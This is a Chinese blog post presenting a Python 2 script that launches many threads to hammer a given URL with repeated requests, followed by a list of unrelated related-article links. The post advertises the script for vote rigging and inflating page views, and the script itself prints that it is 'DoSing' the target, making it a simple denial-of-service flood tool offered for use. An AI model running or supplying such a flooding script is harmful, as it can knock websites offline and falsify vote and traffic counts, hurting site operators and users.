python使用多线程不断刷新网页的方法


Posted in Python onMarch 31, 2015

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')
def splash():
  print 'welcome to https://3water.com/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python实现端口复用实例代码
Jul 03 Python
python numpy格式化打印的实例
May 14 Python
在Python 不同级目录之间模块的调用方法
Jan 19 Python
Python3中exp()函数用法分析
Feb 19 Python
Python实现查找字符串数组最长公共前缀示例
Mar 27 Python
python 五子棋如何获得鼠标点击坐标
Nov 04 Python
python函数调用,循环,列表复制实例
May 03 Python
使用Django搭建网站实现商品分页功能
May 22 Python
通过自学python能找到工作吗
Jun 21 Python
Python如何给函数库增加日志功能
Aug 04 Python
解决numpy和torch数据类型转化的问题
May 23 Python
用python画城市轮播地图
May 28 Python
Python新手实现2048小游戏
Mar 31 #Python
举例介绍Python中的25个隐藏特性
Mar 30 #Python
在Python的循环体中使用else语句的方法
Mar 30 #Python
python实现2048小游戏
Mar 30 #Python
利用一个简单的例子窥探CPython内核的运行机制
Mar 30 #Python
30分钟搭建Python的Flask框架并在上面编写第一个应用
Mar 30 #Python
编写同时兼容Python2.x与Python3.x版本的代码的几个示例
Mar 30 #Python
You might like
PHP 中检查或过滤IP地址的实现代码
2011/11/27 PHP
如何在php中正确的使用json
2013/08/06 PHP
php实现数组重复数字统计实例
2018/09/30 PHP
php intval函数用法总结
2019/04/14 PHP
JQuery 学习笔记 选择器之三
2009/07/23 Javascript
jQuery 表单验证扩展代码(二)
2010/10/20 Javascript
利用CSS、JavaScript及Ajax实现高效的图片预加载
2013/10/16 Javascript
用jQuery toggleClass 实现鼠标移上变色
2014/05/14 Javascript
简单方法判断JavaScript对象为null或者属性为空
2014/09/26 Javascript
js关于命名空间的函数实例
2015/02/05 Javascript
JavaScript使用Math.Min返回两个数中较小数的方法
2015/04/06 Javascript
JavaScript高级程序设计(第三版)学习笔记6、7章
2016/03/11 Javascript
nodejs如何获取时间戳与时间差
2016/08/03 NodeJs
利用jQuery的动画函数animate实现豌豆发射效果
2016/08/28 Javascript
layui radio性别单选框赋值方法
2018/08/15 Javascript
解决removeEventListener 无法清除监听的问题
2020/10/30 Javascript
python通过socket实现多个连接并实现ssh功能详解
2017/11/08 Python
配置 Pycharm 默认 Test runner 的图文教程
2018/11/30 Python
python网络编程之多线程同时接受和发送
2019/09/03 Python
python实现输入的数据在地图上生成热力图效果
2019/12/06 Python
Python OpenCV去除字母后面的杂线操作
2020/07/05 Python
HTML5和CSS3让网页设计提升到下一个高度
2009/08/14 HTML / CSS
CSS3田字格列表的样式编写方法
2018/11/22 HTML / CSS
Html5内唤醒百度、高德APP的实现示例
2019/05/20 HTML / CSS
Html5 语法与规则简要概述
2014/07/29 HTML / CSS
ET Mall东森购物网:东森严选
2017/03/06 全球购物
柏林通行证:Berlin Pass
2018/04/11 全球购物
施华洛世奇加拿大官网:SWAROVSKI加拿大
2018/06/03 全球购物
英国赛车、汽车改装和摩托车零件购物网站:Demon Tweeks
2018/10/29 全球购物
武汉东之林科技有限公司机试
2013/09/17 面试题
介绍一下Linux文件的记录形式
2013/09/29 面试题
行政副总岗位职责
2014/02/23 职场文书
人民调解员先进事迹材料
2014/05/08 职场文书
祖国在我心中演讲稿(小学生)
2014/09/23 职场文书
小学教师见习总结
2015/06/23 职场文书
js实现模拟购物商城案例
2021/05/18 Javascript